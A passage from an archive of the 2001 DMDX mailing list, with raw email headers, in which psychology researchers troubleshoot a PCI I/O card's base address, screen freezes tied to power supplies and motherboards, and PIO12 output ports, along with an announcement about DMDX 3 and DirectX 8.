> Department of Psychology > University of Notre Dame > Notre Dame IN 46556 > > Office phone: (219) 631-9429 > Dept. fax: (219) 631-8883 > E-mail: Michael.J.Wenger.4@nd.edu > mwenger1@nd.edu > http://www.nd.edu/~mwenger1 > ------------------------------------------------------------------- > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== -- Jesse Spencer-Smith PhD Candidate Cognitive Psychology / Cognitive Science James T. Townsend Mathematical Model Laboratory Psychology Building Room 293 Indiana University 1101 E 10 St Bloomington, IN 47405-7007 (812) 855-1554 http://www.indiana.edu/~jbsteach/ http://www.indiana.edu/~psymodel/ >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 09:08:36 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23672 for ; Mon, 12 Mar 2001 09:08:30 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by deimos.email.Arizona.EDU (5.1.056) id 3AA98B1700017D71 for DMDX@psy1.psych.arizona.edu; Mon, 12 Mar 2001 09:08:29 -0700 Message-Id: <5.0.2.1.2.20010312090701.009ecec0@psy1.psych.arizona.edu> Date: Mon, 12 Mar 2001 09:08:28 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: <3AACF2A4.B5400E51@indiana.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:00 AM 3/12/01 -0500, you wrote: >Michael - > >Have you looked under the System Properties:Device Manager >(right-click My Computer, select Properties)? There should be a >listing for the PCI DIO card if Windows recognized it. Look under >Properties:Resources. The I/O range should be the address. I've never seen windows recognize one yet. You have to read the docs, by default the card comes strapped for port 300 Hex. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 10:03:45 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA23867; Mon, 12 Mar 2001 10:03:37 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3AA98B170001936B; Mon, 12 Mar 2001 10:03:36 -0700 Message-ID: <3AAC2F9700000299@deimos.email.Arizona.EDU> Date: Mon, 12 Mar 2001 11:03:35 -0600 In-Reply-To: <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: Re: problem with screen freezing To: DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu Cc: rlippse@email.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list -- Original Message -- >At 03:21 PM 3/10/01 -0700, you wrote: >>I've been having a problem with the screen freezing at run time with DMDX >>2.4 that the syntax checker does not complain about. The program presents >>a series of *.bmp files that are 902 kb and 480 X 640 in size that were >>saved as 16-bit pictures. When this occurs I'm unable to get out of the >>freeze with any key commands or by rebooting the computer and have to turn >>off my surge protector, so I get no information from on what may have gone >>wrong and lose all my data. The freeze occurs on different item lines and >>on different items within the line and doesn't always occur (seems to happen >>3 out of every 4 runs). > > I'd be suspecting general machine stability under those >circumstances. I have a couple of test programs you can run if you want >me >to send them to you. > Yes, I'd appreciate a chance to try out those programs. >>The video mode is set to 16 bit for 480 X 640. The only thing that seems >>unusual is that for the fairly old 60 Hz monitor I'm using when I do the >>advanced Time Video Mode test I get a value of 16.34 instead of 16.67, >but >>I've also had the freezing problem when using video goggles. > > What drives the goggles? Is it a DMDX task or is it another piece of > >software. If another program is crashing all bets are off. The goggles (Resonance Technologies for fMRI) are run by DMDX. > >>The svideo card is an ATI Rage 128 Pro 3D with 32 MB of RAM using an AGP >>slot. >>PC specs are: DFI AK74-SC motherboard with 64 MB RAM and 700MHz AMD Duron >>CPU chip. > > Never been a fan of DFI motherboards. How large is the power supply >in >the machine, we've seen strange behavior with 700MHz Durons with less than > >300W supplies. We have a 250W power supply. I didn't find anything on your web pages about problems with the DFI motherboards. We purchased these parts specifically to run with DMDX, so it would be good to have problems like this noted on your web site. If we order another power supply do you recommend 300W or slightly higher? What motherboards have you had no problems with? Thanks. Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 10:55:41 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA24051; Mon, 12 Mar 2001 10:55:35 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3AA98B170001A812; Mon, 12 Mar 2001 10:55:34 -0700 Message-ID: <3AAC2F9700000330@deimos.email.Arizona.EDU> Date: Mon, 12 Mar 2001 11:55:33 -0600 In-Reply-To: <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> From: ""Keolani Taitano"" Subject: [DMDX] RE: Re: problem with screen freezing To: DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan, What problems have you observed with the DFI motherboards, and will getting a 300W or bigger power supply fix them? Thanks. Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-235-9588 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 11:51:12 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24261 for ; Mon, 12 Mar 2001 11:51:04 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AAC2F9D0000ADE2 for DMDX@psy1.psych.arizona.edu; Mon, 12 Mar 2001 11:51:03 -0700 Message-Id: <5.0.2.1.2.20010312114730.009f1c40@psy1.psych.arizona.edu> Date: Mon, 12 Mar 2001 11:51:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: problem with screen freezing In-Reply-To: <3AAC2F9700000299@deimos.email.Arizona.EDU> References: <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:03 AM 3/12/01 -0600, you wrote: >We have a 250W power supply. I didn't find anything on your web pages about >problems with the DFI motherboards. It's not a DMDX problem, any machine I've had that's had a DFI motherboard has been prone to weird problems. > We purchased these parts specifically >to run with DMDX, so it would be good to have problems like this noted on >your web site. Ok, I'll bad mouth DFI there. >If we order another power supply do you recommend 300W or slightly higher? 300W should suffice, you can check the AMD power supply page if you want. >What motherboards have you had no problems with? ASUS. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 11:57:52 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24290 for ; Mon, 12 Mar 2001 11:57:45 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AAC2F9D0000B03A for DMDX@psy1.psych.arizona.edu; Mon, 12 Mar 2001 11:57:44 -0700 Message-Id: <5.0.2.1.2.20010312115352.009f5bb0@psy1.psych.arizona.edu> Date: Mon, 12 Mar 2001 11:57:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: problem with screen freezing In-Reply-To: <3AAC2F9700000330@deimos.email.Arizona.EDU> References: <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:55 AM 3/12/01 -0600, you wrote: >Jonathan, > >What problems have you observed with the DFI motherboards, Things don't work. > and will getting >a 300W or bigger power supply fix them? Not in my experience. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 11:58:58 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA24311 for ; Mon, 12 Mar 2001 11:58:52 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AAC2F9D0000B096 for DMDX@psy1.psych.arizona.edu; Mon, 12 Mar 2001 11:58:51 -0700 Message-Id: <5.0.2.1.2.20010312115756.009e7970@psy1.psych.arizona.edu> Date: Mon, 12 Mar 2001 11:58:50 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: problem with screen freezing In-Reply-To: <5.0.2.1.2.20010312114730.009f1c40@psy1.psych.arizona.edu> References: <3AAC2F9700000299@deimos.email.Arizona.EDU> <5.0.2.1.2.20010310160211.009df5e0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:51 AM 3/12/01 -0700, you wrote: > 300W should suffice, you can check the AMD power supply page if you want. Forgot to paste that link in: http://www1.amd.com/athlon/power -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 13:01:55 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA24606 for ; Mon, 12 Mar 2001 13:01:39 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id PAA27029 for ; Mon, 12 Mar 2001 15:01:37 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2CK1ch29043 for ; Mon, 12 Mar 2001 15:01:38 -0500 (EST) Date: Mon, 12 Mar 2001 15:01:38 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list > I've never seen windows recognize one yet. You have to read the docs, > by default the card comes strapped for port 300 Hex. Jonathan -- Windows was able to recognize the card. From what I can tell, the PCI cards assign ports based on an offset from a base address, rather than a fixed address (e.g., 300 hex). For example, according to the Keithley docs, the ports are monitored at the base address plus 0x00 offset. What I'm unable to tell is whether the base address refers to the base address for the card or the PCI bus. Any ideas? -Michael >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 13:24:31 2001 Received: from darwin.psy.fsu.edu (root@darwin.psy.fsu.edu [128.186.66.5]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA24680 for ; Mon, 12 Mar 2001 13:24:25 -0700 Received: from kline.psy.fsu.edu (psy111a [128.186.66.78]) by darwin.psy.fsu.edu (8.9.3/8.9.3) with ESMTP id PAA32665; Mon, 12 Mar 2001 15:24:13 -0500 Message-Id: <5.0.1.4.0.20010312152048.02a7bc00@darwin.psy.fsu.edu> Date: Mon, 12 Mar 2001 15:28:34 -0500 To: DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu From: ""John P. Kline"" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Michael, I don't have a Windows driver installed for my CIO/DIO 24 either, yet it functions perfectly on my stimulus box (running Windoze 98). I ran into a problem with 300 Hex though... It conflicted with another device. I believe that we are running the card at 310 Hex now, but don't have the machine in front of me just now. On the ISA version of the card, this requires a change of jumper setting. It also requires that you inform TimeDX of the whereabouts of the card... Try setting the base address to 310 Hex rather than 300 Hex. I'm pretty sure that the base address refers to that of the card. At 03:01 PM 3/12/01 -0500, Michael J. Wenger wrote: > > I've never seen windows recognize one yet. You have to read the docs, > > by default the card comes strapped for port 300 Hex. > >Jonathan -- Windows was able to recognize the card. From what I can tell, >the PCI cards assign ports based on an offset from a base address, rather >than a fixed address (e.g., 300 hex). For example, according to the >Keithley docs, the ports are monitored at the base address plus 0x00 >offset. What I'm unable to tell is whether the base address refers to the >base address for the card or the PCI bus. Any ideas? -Michael > > > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Mon Mar 12 13:39:34 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA24792 for ; Mon, 12 Mar 2001 13:39:28 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3AAC2F9D0000D6CE for DMDX@psy1.psych.arizona.edu; Mon, 12 Mar 2001 13:39:27 -0700 Message-Id: <5.0.2.1.2.20010312133639.009ece90@psy1.psych.arizona.edu> Date: Mon, 12 Mar 2001 13:39:27 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:01 PM 3/12/01 -0500, you wrote: > > I've never seen windows recognize one yet. You have to read the docs, > > by default the card comes strapped for port 300 Hex. > >Jonathan -- Windows was able to recognize the card. From what I can tell, >the PCI cards assign ports based on an offset from a base address, rather >than a fixed address (e.g., 300 hex). For example, according to the >Keithley docs, the ports are monitored at the base address plus 0x00 >offset. What I'm unable to tell is whether the base address refers to the >base address for the card or the PCI bus. Any ideas? -Michael Ah, PCI, I was of course talking about the ISA adapters. The only thing I can think of (other than me reading the entire manual of course) is to do as was suggested earlier on and to see what IO resources the device is using in the device manager. PCI devices must declare themselves while ISA ones don't so windows must know what resources the card is using. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who slings mud loses ground. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 14:59:54 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA27444 for ; Tue, 13 Mar 2001 14:59:19 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id QAA19630 for ; Tue, 13 Mar 2001 16:59:17 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2DLxHh29425 for ; Tue, 13 Mar 2001 16:59:17 -0500 (EST) Date: Tue, 13 Mar 2001 16:59:17 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: <5.0.2.1.2.20010312133639.009ece90@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Jonathan -- I can find memory resources listed for the card (""Properties"" gives a range), but not IO resources. > Ah, PCI, I was of course talking about the ISA adapters. The only thing > I can think of (other than me reading the entire manual of course) is to do > as was suggested earlier on and to see what IO resources the device is > using in the device manager. PCI devices must declare themselves while ISA > ones don't so windows must know what resources the card is using. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 15:12:16 2001 Received: from darwin.psy.fsu.edu (root@darwin.psy.fsu.edu [128.186.66.5]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA27513 for ; Tue, 13 Mar 2001 15:12:10 -0700 Received: from kline.psy.fsu.edu (psy111a [128.186.66.78]) by darwin.psy.fsu.edu (8.9.3/8.9.3) with ESMTP id RAA23289 for ; Tue, 13 Mar 2001 17:11:58 -0500 Message-Id: <5.0.1.4.0.20010313171634.01bcce10@darwin.psy.fsu.edu> Date: Tue, 13 Mar 2001 17:16:49 -0500 To: DMDX@psy1.psych.arizona.edu From: ""John P. Kline"" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: <5.0.2.1.2.20010312133639.009ece90@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The base address should be the first address in the range. At 04:59 PM 3/13/01 -0500, you wrote: >Jonathan -- I can find memory resources listed for the card (""Properties"" >gives a range), but not IO resources. > > > Ah, PCI, I was of course talking about the ISA adapters. The only > thing > > I can think of (other than me reading the entire manual of course) is > to do > > as was suggested earlier on and to see what IO resources the device is > > using in the device manager. PCI devices must declare themselves while > ISA > > ones don't so windows must know what resources the card is using. > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 16:41:04 2001 Received: from mx0.gmx.net (mx0.gmx.net [213.165.64.100]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id QAA27779 for ; Tue, 13 Mar 2001 16:40:38 -0700 Message-Id: <200103132340.QAA27779@psy1.psych.arizona.edu> Received: (qmail 16420 invoked by uid 0); 13 Mar 2001 23:40:28 -0000 Date: Wed, 14 Mar 2001 00:40:28 +0100 (MET) To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] output device From: Christine Amrhein MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi there, I'm wondering if it is possible with DMDX to send output to different ports with a PIO12 device, and how this can be done. Thanks, C. Amrhein -- Sent through GMX FreeMail - http://www.gmx.net >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 17:17:30 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA27891 for ; Tue, 13 Mar 2001 17:17:25 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AAE9C7D00002ECF for DMDX@psy1.psych.arizona.edu; Tue, 13 Mar 2001 17:17:24 -0700 Message-Id: <5.0.2.1.2.20010313171555.009ee780@psy1.psych.arizona.edu> Date: Tue, 13 Mar 2001 17:17:22 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: References: <5.0.2.1.2.20010312133639.009ece90@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:59 PM 3/13/01 -0500, you wrote: >Jonathan -- I can find memory resources listed for the card (""Properties"" >gives a range), but not IO resources. I don't have one, beyond general guesses I can't provide much help here. There's no Input/Output Range under the Resource type column? -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 17:19:43 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA27915 for ; Tue, 13 Mar 2001 17:19:37 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AAE9C7D00002F41 for DMDX@psy1.psych.arizona.edu; Tue, 13 Mar 2001 17:19:36 -0700 Message-Id: <5.0.2.1.2.20010313171734.009efdd0@psy1.psych.arizona.edu> Date: Tue, 13 Mar 2001 17:19:35 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: output device In-Reply-To: <200103132340.QAA27779@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:40 AM 3/14/01 +0100, you wrote: >Hi there, > >I'm wondering if it is possible with DMDX to send output to different ports >with a PIO12 device, and how this can be done. From the help file: Output Keyword Variant: O switch alternative that outputs data to the currently installed output port. Item file must have selected or some other device that supports output. The variant accepts hexadecimal codes instead of decimal codes, handy for the multi-byte output devices. If the input device PIO12 has been installed then 8 bits of output are provided on port C of the PIO 12. If the PIO12output16 device has been installed 16 bits are output, the lower 8 to port C and the upper 8 to port B. If the PIO12output24 device has been installed 24 bits are output, the lower 8 to port C and the middle 8 to port B and the upper 8 to port A. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 17:48:20 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA28036 for ; Tue, 13 Mar 2001 17:48:02 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AAE9C7D00003637 for DMDX@psy1.psych.arizona.edu; Tue, 13 Mar 2001 17:48:01 -0700 Message-Id: <5.0.2.1.2.20010313171946.009f1e30@psy1.psych.arizona.edu> Date: Tue, 13 Mar 2001 17:47:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] DMDX 3 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list People will be pleased to know that the preliminary results of my research into using the 3D interfaces of DirectX 8 are extremely positive. There are a number of weaknesses with DMDX's current design, notably the reliance on users to time retrace durations and also I suspect dealing with very high retrace intervals (200Hz and over) will pose a problem. Both of these problems will be done away with. While video modes will still need to be timed I expect the automatic routines will do a flawless job of it as we are now working with the strengths of current video hardware as opposed to against them. Currently all 3D video cards I have tested support the necessary features, TNT1, TNT2, GeForce MX and Savage 2000 cards. In addition I expect the possibility of display errors to either be very high in the case of a card that shouldn't be used with DMDX 3 or vanishingly close to zero for older 3D hardware like the TNT1 to unmeasurablely close to zero in the case of the GeForce MX. People needing multimon displays will in all likelihood need to buy either a Dual Head card from Matrox based on the G450 or the G400 or a Twin View card from NVIDIA based on the GeForce MX. These AGP cards drive two displays and the reason one will preferable to the traditional two video card multimon solution is that one of the traditional cards must be a PCI card (no machine can have two AGP slots) and it is usually convenient to have the secondary display be used as the subjects display, meaning that unless you have a motherboard with a nice BIOS that lets you swap which display is the primary display your secondary display (and therefore the display that DMDX will be using) will be a PCI card. Ignoring the difficulties in locating a 3D PCI card, DMDX will now be sending a constant stream of instructions to the display and if that display is on the PCI bus those commands are going to be issued quite a bit slower than ones issued to the AGP slot. Whether such a bottle neck will be enough to cramp DMDX's style remains to be seen (there is a strong chance that DMDX's load will be trivial to all but the most ancient 3D hardware) but why take chances. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Tue Mar 13 19:23:17 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id TAA28282 for ; Tue, 13 Mar 2001 19:23:04 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.65) by phobos.email.Arizona.EDU (5.1.056) id 3AAE9C7D0000478E for DMDX@psy1.psych.arizona.edu; Tue, 13 Mar 2001 19:23:04 -0700 Message-Id: <5.0.2.1.2.20010313192112.009e8a10@psy1.psych.arizona.edu> Date: Tue, 13 Mar 2001 19:23:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 3 In-Reply-To: <5.0.2.1.2.20010313171946.009f1e30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:47 PM 3/13/01 -0700, you wrote: >against them. Currently all 3D video cards I have tested support the >necessary features, TNT1, TNT2, GeForce MX and Savage 2000 cards. Although I should mention that the TNT1 isn't that great seeing as it can't support the enhanced retrace rate test in TimeDX, not with the drivers I've got anyway. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. >From DMDX-owner@psy1.psych.arizona.edu Thu Mar 15 15:14:50 2001 Received: from mailspool.helios.nd.edu (mailspool.helios.nd.edu [129.74.250.7]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA00753 for ; Thu, 15 Mar 2001 15:10:05 -0700 Received: from darwin.helios.nd.edu (darwin.helios.nd.edu [129.74.250.114]) by mailspool.helios.nd.edu (8.9.2/8.9.2) with ESMTP id RAA28662 for ; Thu, 15 Mar 2001 17:10:03 -0500 (EST) Received: from localhost (mwenger1@localhost) by darwin.helios.nd.edu (8.10.1/8.10.1/ND-cluster) with ESMTP id f2FMA4k27386 for ; Thu, 15 Mar 2001 17:10:04 -0500 (EST) Date: Thu, 15 Mar 2001 17:10:04 -0500 (EST) From: ""Michael J. Wenger"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: configuring PCI bus IO card In-Reply-To: <5.0.2.1.2.20010313171555.009ee780@psy1.psych.arizona.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've got two pieces of info: From the properties sheet for the card, I get the memory range as starting at C0 EE BF FE And from the properties sheet for the driver for the card, I get the following as the starting value for the memory range FE BF EE C0 So I am guessing that I need a conversion (suggestions?) to obtain values that TimeDX can use. But I'm a little confused by the inverted orderings on the pairs. Ideas? > >Jonathan -- I can find memory resources listed for the card (""Properties"" > >gives a range), but not IO resources. > > I don't have one, beyond general guesses I can't provide much help > here. There's no Input/Output Range under the Resource type column? >From DMDX-owner@psy1.psych.arizona.edu Fri Mar 16 10:15:28 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) 